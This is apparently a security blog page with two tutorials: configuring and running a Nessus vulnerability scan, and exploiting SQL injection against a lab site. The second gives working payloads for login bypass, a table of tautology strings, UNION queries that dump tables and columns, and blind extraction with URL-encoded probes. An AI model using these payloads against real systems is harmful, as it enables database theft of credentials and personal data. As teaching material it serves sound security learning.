Enter the port scan range. By default Nessus scans all the TCP ports in /etc/services file. You can limit the ports by specifying it manually (like 20-30). You have different scanners like Nessus SNMP scanner, SSH scanner, ping remote host, TCP Scanner, SYN scanner, etc…. Enable by selecting the check box as per the scan requirement.

  • Enter the credentials for scan to use. You can use single set of credentials or multiple set of credentials if you have. You can also work it out without entering the credentials.
  • The plugins tab has number of plugins. By default Nessus will have all the plugins enabled. You can enable or disable all the plugins at a time or enable few from the plug-in family as per the scan you’d like to perform. You can also disable some unwanted plugins from the plug-in family by clicking on particular plug-in.

Nessus sub plugins

The above figure shows the sub-plugins for the plugin Backdoors.

In the above Figure the green one shows the parent plugin and the blue once shows the sub-plugins or the plugins under the plugin (backdoor). You can enable or disable by simply clicking on the enabled button.

  • In the Preferences, you are provided with a drop down box to select different types of plugins. Select the plugin based on the scan requirement and specify the settings as per the plugins requirement. Click finish once completed. For example: configure the database.

Nessus database settings plugin

The above figure shows the configuration of Database settings plugin.

SCANS:

Once you are done with configuring the policies as per your scan requirement, you need to configure the scan details properly. You can do it under Scan tab.

Under the Scan tab, you can create a new scan by clicking New Scan on the top right.  Then a pop up appears where you need to enter the details like Scan Name,  Scan Type, Scan Policy & Target.

  • Scan Name: The name that you are willing to give to the scan.
  • Scan Type:  You have options to RUN the scan instantly by selecting RUN NOW. Or you can make a template which you can launch later when you are willing to run. All the templates are moved under the TEMPLATE tab beside the SCAN tab.
  • Scan Policy: Select the policy that you have configured previous in the policies section.
  • Select Target: Enter the target machine which you are planning to test. Depending upon the targets Nessus takes time to scan the targets.
     

Results:

Once the scanning process has been completed successfully, results can be analyzed from RESULTS menu.

  • Once the scan has been completed, you can see the name of the scan under the results section. Click on the name to see the report.
  • Hosts: Specifies all the target systems that you have scanned.
  • Vulnerabilities: Displays all the vulnerabilities on the target machine that has been tested.
  • Export Results: You can export the results into difference formats like html, pdf, etc…  You can also select an individual section or complete result to export based on your requirement.

Let us try out an example now-

I have configured a policy named Basic Scan. We have many options while configuring or building the policy like port scanners, performance of the tool, Advanced etc.

Nessus port scanning settings for basic scan

The above figure shows configuration settings of Port Scanning for the policy Basic Scan.

You don’t need credentials now, so skip the credentials tab and move to Plugins tab. You need to configure the specific plug-in as per the scan requirement that you are willing to perform on remote machine.

Nessus plugins for basic scan

The above figure shows the plugins that I have enabled for the policy Basic Scan. I have enabled few plugins for windows machine scan.

Nessus scan configuration

The above figure shows the configuration of the Scan.

I have configured the scan to run instantly with the policy that I have created earlier. And the scan target specify the IP address I am willing to scan.

Once all the details has been entered click on Create Scan which shows the Scan is running as shown in the below Figure.

Nessus running scan

Once the scanning has been completed then you can see the results in Results tab. Below Figure shows the same.

Nessus results

Double clicking on the title displays the scan results.

Nessus scan result

The above figure shows the Hosts details. It includes all the targets that you have scanned during the test. Double clicking on the host address displays the vulnerabilities Nessus have identified during the test. You can also click on Vulnerabilities tab to check out the vulnerabilities.

Nessus vulnerabilities menu

The above figure shows the Vulnerabilities that Nessus found during its scan. Based on the Risk Nessus marks it as high, medium, info etc… Clicking on the Vulnerability gives you brief description of it.

For example let us go with Netstat portscanner, displays you the following information

Nessus port scan result

The above figure shows the ports opened in the target machine.

In the same manner you can analyze complete details by clicking on the vulnerabilities. Nessus also suggests the solutions or remedies for the vulnerabilities with few references.

Conclusion:

Nessus is a tool which automates the process of scanning the network and web applications for the vulnerabilities also suggests solutions for the vulnerabilities that are identified during the scan.

 

Posted by on February 27, 2013 in web application hacking

3 Comments

Tags: , ,

SQL Injection exploitation and dumping the database

SQL Injection:

SQL Injection is a web based attack used by attackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used since a  long time. This attack takes advantage of improper coding of web applications, which allow an attacker to exploit the vulnerability by injecting SQL commands into the prior web application. The underlying fact that allows for SQL Injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.

For example, let us consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt. Here is a typical example:

select * from users where username=’admin’ and password=’admin123′;


If the attacker knows the username of the application administrator is admin, then he can log into the app as admin by entering the username as admin’– and without supplying any password. The query in the back-end looks like:

Select * from users where username=’admin’--’ and password=’xxx’;


Note the comment sequence (–-) causes the followed query to be ignored, so query executed is equivalent to:

Select * from users where username=’admin’;


Hence the password check is bypassed and the attacker is logged into the app as admin.

Different types of SQL Injections:

SQL Injection can be classified into 3 types based on the way it is exploited : In-band, Out-band and Inferior.

1. In-band:

This is also called as Error-based or Union based SQL Injection or first order Injection. The application is said to be vulnerable to In-band when the communication between the attacker and the application happens through a single channel. I.e. the attacker uses the same channel to enter the malicious string and to retrieve the data from the database. This is a straight forward technique. The application directly displays the retrieved data on the web pages.

Confirming the Vulnerability:

Below URL is In-band SQLI vulnerable practice site which I setup in my vmbox.

http://192.168.1.2/news-and-events.php?id=22


Accessing to the URL displays the home page as shown in the below image.

Sqlinjection demo

Now let us try to confirm the vulnerability by simply adding a single quote at the end of the URL:

http://192.168.1.2/news-and-events.php?id=22'


The above URL shows an error on the web page, saying that Error in your SQL Syntax. This is because of an extra single quote (‘) that we have entered through the URL into the query in the background. So by seeing the error we can understand that the URL is vulnerable to In-band SQLI. Below image shows you the error occurred due to concatenating the special character (‘).

Sqlinjection error

If single quote (‘) is blocked, then we can try using “or 1=1 –” or “and 1=1” at the end of the URL.

http://192.168.1.2/news-and-events.php?id=22 or 1=1 -- (or)
http://192.168.1.2/news-and-events.php?id=22 and 1=1 --


Above URL shows the same page that has been displayed while accessing the URL:

http://192.168.1.2/news-and-events.php?id=22


This is because the condition that we have entered at the end of the URL is always true.

Now try to access by entering the string “or 1=0–“or “and 1=0–”. So the URL looks like:

http://192.168.1.2./news-and-events.php?id=22 or 1=0-- (or)
http://192.168.1.2/news-and-events.php?id=22 and 1=0--


Now we will not be able to access the page, because the condition “1=0” is always false. Below image shows the page when accessed with false condition.

Sqlinjection confirmation

Then we can confirm that URL is vulnerable to SQLI.

The string listed in the below table can be used to confirm SQL Injection

or 1=1‘or 1=1“or 1=1or 1=1–‘or 1=1–“or 1=1–
or 1=1#‘or 1=1#“or1=1#  or 1=1/*‘or 1=1/*
“or 1=1/*or 1=1;%00‘or 1=1;%00“or 1=1;%00‘or’‘or
‘or’–‘or–or a=a‘or a=a“or a=aor a=a–
‘or a=a —“or a=a–or ‘a’=’a’‘or ‘a’=’a’“or ‘a’=’a’‘)or(‘a’=’a’
“)”a”=”a”‘)’a’=’a‘or’’=’

You can try all the combinations for string “or a=a” that we have tried for “or 1=1”….. Like #,–, /* etc…

Extracting-Information:

Moving further, we can extract or dump the complete database by using “UNION” and “SELECT” commands.

Finding-the-DBMS:

We can find out DBMS type (MS-SQL, MYSQL, ORACLE) by using the unique functions of the appropriate database. For example to find out the database user, all the above databases have different syntax.

MS-SQL: user_name()
MYSQL: user ()
ORACLE: select user from dual;

So let’s try to find the DBMS of our SQLI vulnerable site. As a first trial I am entering “user_name()” at the place where we had “2”.

http://192.168.1.2/news-and-events.php?id=-22 union select 1,user_name(),3,4,5,6,7


Above URL gives an error saying “Function user_name doesn’t exist”. Which means the DBMS isn’t MS-SQL.

Find database in Sql injection

Above image shows that the DBMS isn’t MS-SQL. Now let’s try with “user ()”

http://192.168.1.2/news-and-events.php?id=-22 union select 1,user(),3,4,5,6,7


Above URL display the user name of the DBMS. So we confirm that the DBMS is MYSQL.

Sqli - fetch database username

Above image shows the database user name which proves that the DBMS is MYSQL.

So we can use all the MYSQL functions in the place of 2,3,5,7 and dump the database on the web page.

Finding-number-of-columns:

Let us try to find out the number of columns in the table using UNION.  The URL looks like:

http://192.168.1.2/news-and-events.php?id=22 union select NULL


Displays an error in the page saying “Select statement having different number of columns” .Now we understood that there are more than one column in the table.

finding number of columns using sql injection

Image shows the error message occurred by accessing the web site using above URL (Using select NULL). So try adding one more NULL.

http://192.168.1.2/news-and-events.php?id=22 union select NULL, NULL


Still if we are receiving the same error, then keep on adding the NULL to the query and try to find out number of columns in the table.

http://192.168.1.2/news-and-events.php?id=22 union select NULL, NULL, NULL, NULL, NULL, NULL, NULL


The above string gives you the same page as the initial URL as the number of columns in the table is seven.

finding columns usingsl injection by using order by

Figure shows the page when accessed with above URL. (Using seven NULL’S).

We can also use “ORDER BY” to find out the number of columns in the table.

http://192.168.1.2/news-and-events.php?id=22 order by 7--


So we can understand that there are seven columns in the table.

Now here is the trick. Where will we be able to see the extracted data from the database?

Just add a negative sign before the id value. Then the data appears on the web page straight away.

http://192.168.1.2/news-and-events.php?id=-22 union select 1,2,3,4,5,6,7


(Note: Negative sign (-) before 22)

Then the application displays some of the numbers on the web page.  Above URL displays 2,3,5,7 on the web page.

display content on web page using sql injection

Figure shows the numbers displayed on the web page.

Finding the version and getting the databases:
http://192.168.1.2/news-and-events.php?id=-22 union select 1,@@version,database(),4,5,6,7


finding version of database using sql injection

Figure display the database version “5.0” and the database “nilakantatrust”.

Extracting Tables from database:

Now let us try extracting all the tables from the database “nilakantatrust”.

http://192.168.1.2/news-and-events.php?id=-22 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()--

extract tables using sql injection

Figure shows all the tables dumped from the database “nilakantatrust”.

Information_schema is the table which contains meta-data, nothing but information about all the tables and columns of the database.

Extracting columns from the tables:
http://192.168.1.2/news-and-events.php?id=-22 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()--

extracting columns using sql injection
Figure displays all the columns of the tables in the database “nilakantatrust”.  We can look at all the columns and then dump the interesting columns like passwords, SSN, Credit card numbers etc…

2. Out-Band:


This kind of an attack uses two different channels for communication between attacker and the application. Modern DBMS has very powerful applications and their features go behind simply returning the data to the users. They can be instructed to send an e-mail and they can also interact with file system. All of these functionalities are very helpful for an attacker. Attacker establishes direct connection to the database through one channel to insert the data or the malicious string into the database. DBMS responds through new channel, like e-mails, or executing the commands using xp_cmdshell etc….

3. Inferred:


This is also known as Blind – SQL – Injection. Here the server doesn’t responds with any syntax error or other means of notifications. This is very similar to normal SQL Injection but when attacked server doesn’t send any data to the attacker. Attacker need to retrieve the data by asking true or false questions through SQL commands.

The attacker needs to execute his commands by observing the response of the application.  This makes exploiting a SQL Injection attack more difficult but not impossible.

Now let’s have some practice:

http://192.168.1.2/news-and-events.php?id=22  and 1=1 --


The above URL gives the same data as of original site.

http://192.168.1.2/news-and-events.php?id=22  and 1=0 --


Above URL shows an error on the web page, as I explained you previously. (In “in-band” type)

Finding-the-DBMS:

To find out the DBMS used by the application we need to make use of different pre-defined functions available for different databases

For example, To find out the user name of the database following syntax is used by different DBMS

  • MS-SQL: user_name()
  • Mysql: user()
  • Oracle: select user from dual


You can know the difference from the cheat-sheet available at www.pentestmonkey.net

So, let us find out the DBMS using the above functions 😉

Accessing the below URL gives you a white page.

http://192.168.1.2/news-and-events.php?id=21

blind sql injection

Observe the white page in Figure which is different from the URL:

http://192.168.1.2/news-and-events.php?id=22

as we have seen the page previously. By observing this difference we can extract the DBMS type of the application.

Let us check whether the application is using MS-SQL:

http://192.168.1.2/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user_name())%20then%200%20else%201%20end%20)--

In the above URL I am trying to add 1 to the id ‘21’ based on the condition. When we access the URL with ID=21 we get the page as shown in Figure (m) and when we access URL with ID=22 we get the home page as shown in Figure (a).

In the URL %2b indicates ‘+’ and %20 indicates ‘  ‘ (space). It is called URL encoding. When particular symbol is filtered we can pass those symbols by encoding using different encoding techniques available.

And the condition in the query is framed using “case” statement along with “user_name” (A pre-defined function in MS-SQL to return DB user name). If the function user_name() is found then the condition returns ‘1’ which makes the ID=22 else it returns ‘0’ and the Id remains ‘21’

finding database using blind sql injection

Figure shows page which confirms that the DBMS isn’t MS-SQL.  So, now let us check for “MYSQL”

http://192.168.1.2/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user())%20then%200%20else%201%20end)--

Above URL shows the page with ID=22 which confirms that the DBMS is MYSQL.

Finding the version:

To find the database version we can use ‘substring’ function in MYSQL. Observe the below URL

http://192.168.1.2/news-and-events.php?id=22%20and%20substr(@@version,1,1)=5--

If the database version is ‘5’ then the substring function returns ‘5’ (as we are trying to extract only one character), where we are comparing the resultant value with ‘5’. Then if we are able to see the home page, we can confirm that the database is something like 5.x.x version.

If the URL doesn’t pops up the home page, then we can try changing the comparing value to 4,3 etc…

To find the exact version of the database we need to compare the second character of the version. For example

substr(@@version,2,1)=0
substr(@@version,3,1)=1

So, by observing the responses of the application we can extract complete version of the database.

Finding the User Name of the database:

We can find out the user name of the database by using both ‘case’ statement and ‘substring’ function.

http://192.168.1.2/news-and-events.php?id=22%2b%20(select%20case%20when%20(substr(user(),1,1)='a')%20then%200%20else%201%20end)--

Based on the responses of the application keep on changing the character in the function substr().
Once we get the first letter of the user name then move on to find out the second letter.

For example:

substr(user(),2,1)=’r’
substr(user(),3,1)=’b’ ….

In this fashion, to find out a single character in the user name, we have to send more than 200 request will all possible ASCII characters to the server. This technique can be optimized we can extract a single character from the database with in 8 requests.

Conclusion:

SQL Injection is a powerful attack technique which can be used to dump complete database of the application.

I have written this article for infosec institute. Take a look at the web application security course offered by infosecinstitute.

 

 

Posted by on January 7, 2013 in web application hacking

Comments Off on SQL Injection exploitation and dumping the database

Tags: , , , ,